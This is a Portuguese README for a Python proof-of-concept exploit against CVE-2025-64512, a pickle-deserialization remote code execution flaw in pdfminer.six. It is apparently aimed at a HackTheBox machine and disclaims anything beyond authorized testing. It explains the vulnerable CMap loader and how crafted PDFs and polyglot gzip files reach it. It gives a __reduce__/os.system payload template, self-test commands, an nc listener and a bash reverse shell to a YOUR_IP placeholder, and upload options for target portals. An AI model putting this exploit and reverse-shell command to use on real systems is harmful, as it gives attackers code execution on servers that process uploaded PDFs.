
PoC em Python para CVE-2025-64512, um RCE de desserialização de pickle no pdfminer.six. Gera payloads pickle compactados com gzip e PDFs polyglot, depois os entrega a portais de upload para testes autorizados.
Python 3, somente stdlib (sem instalações via pip). Apenas para testes de segurança autorizados e uso em CTF — você é responsável por cumprir a lei e as regras de engajamento do seu contrato.
| CVE | CVE-2025-64512 |
| Afetado | pdfminer.six < 20251107 (corrigido em 20251107 — CMaps passaram a ser JSON) |
| Vítimas downstream | markitdown < 0.1.4, pdfplumber < 0.11.8 |
| Tipo | CWE-502 desserialização de dados não confiáveis → RCE não autenticado |
| PoC de referência | luigigubello/CVE-2025-64512-Polyglot-PoC (variante poliglota de arquivo único) |
Alvo testado: https://app.hackthebox.com/machines/Bedside
pdfminer.six é uma biblioteca Python popular para extrair texto de PDFs. Fontes de PDF
precisam de CMaps — tabelas que traduzem códigos de caracteres para Unicode — e o pdfminer
as distribui como pickles gzipados (<name>.pickle.gz) dentro do próprio pacote.
Veja como um CMap é carregado (pdfminer/cmapdb.py, todas as versões anteriores a 20251107):
@classmethod
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # a ÚNICA sanitização
filename = "%s.pickle.gz" % name # ← o atacante controla `name`
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename) # ← nome absoluto ignora o diretório!
if os.path.exists(path):
with gzip.open(path) as gzfile:
return type(str(name), (), pickle.loads(gzfile.read())) # ← 💥
Três falhas se acumulam:
name vem do próprio PDF. A entrada /Encoding de uma fonte Type0 (CID) é
um nome de PDF, e o atacante o controla totalmente. Nomes de PDF não podem conter uma
/ crua, então é escrito com escapes hexadecimais padrão RFC: o nome
/#2f#76#61#72#2f… decodifica para /var/….os.path.join. Quando o segundo argumento é absoluto, o primeiro é
ignorado por completo. Assim, um nome /var/www/site/uploads/shell faz o pdfminer olhar
para /var/www/site/uploads/shell.pickle.gz — qualquer caminho no disco — em vez do seu
próprio diretório de CMap.pickle.loads() no conteúdo do arquivo. Um pickle pode carregar instruções de
"reconstrua-me chamando esta função" (__reduce__). Desserializar bytes do atacante =
executar código do atacante, dentro de qualquer processo que chamou o pdfminer.Pré-requisitos do exploit — o bug é trivialmente explorável em qualquer aplicação que lhe dê as duas metades da equação:
{"__reduce__": eval("__import__('os').system('<seu comando>')")}./Encoding nomeia o caminho absoluto do seu pickle.--mode two (padrão) — faz upload de <name>.pickle.gz, depois de <name>.pdf.
Use isto sempre que o alvo só processar arquivos com extensão PDF
(por exemplo, um watcher que faz glob de uploads/*.pdf).--mode polyglot — faz upload de um arquivo <name>.pickle.gz que é tanto
um gzip-pickle válido quanto um PDF válido: o PDF inteiro se esconde no campo FCOMMENT
do cabeçalho gzip (a RFC 1952 permite comentários; a assinatura %PDF- fica
no byte 10, e os offsets da xref são pré-deslocados para que a tabela permaneça válida).
Use isto quando o alvo processar qualquer arquivo enviado como PDF independentemente da
extensão (conversores no estilo markitdown).--verify), aguarda o ciclo de
processamento do alvo (--wait), e pode prefixar um oráculo de callback (--callback)
que faz uma chamada de volta antes do seu comando rodar — assim você pode provar a execução mesmo se
seu canal principal falhar.Nada a instalar — Python 3.10+ (usa a sintaxe str | None):
chmod +x cve_2025_64512.py
Gere payloads de exemplo e (se um pdfminer vulnerável for importável) execute-os no seu próprio Python para provar que a cadeia funciona antes de tocar em um alvo:
# aponte o selftest para um checkout/wheel de pdfminer vulnerável (qualquer < 20251107)
export PDFMINER_PATH=/path/to/pdfminer_package_dir
python3 cve_2025_64512.py --selftest
A saída esperada termina com SELFTEST PASS tanto para o gatilho de dois arquivos quanto para o
poliglota. Você também pode testar manualmente:
python3 cve_2025_64512.py --no-upload --path /tmp --name demo --command 'id > /tmp/pwned'
cp demo.pickle.gz demo-trigger.pdf /tmp/ # coloque como /tmp/demo.pickle.gz
pdf2txt.py /tmp/demo-trigger.pdf # apenas pdfminer vulnerável
cat /tmp/pwned # → seu uid
# 1. inicie um listener para o canal de callback do seu comando
nc -lvnp 4444
# 2. execute o exploit — deixe-o descobrir o diretório de upload sozinho
python3 cve_2025_64512.py \
--url http://research.target.htb/ \
--leak-path \
--verify /uploads \
--wait 35 \
--command "bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 <&1'"
Referência completa de argumentos: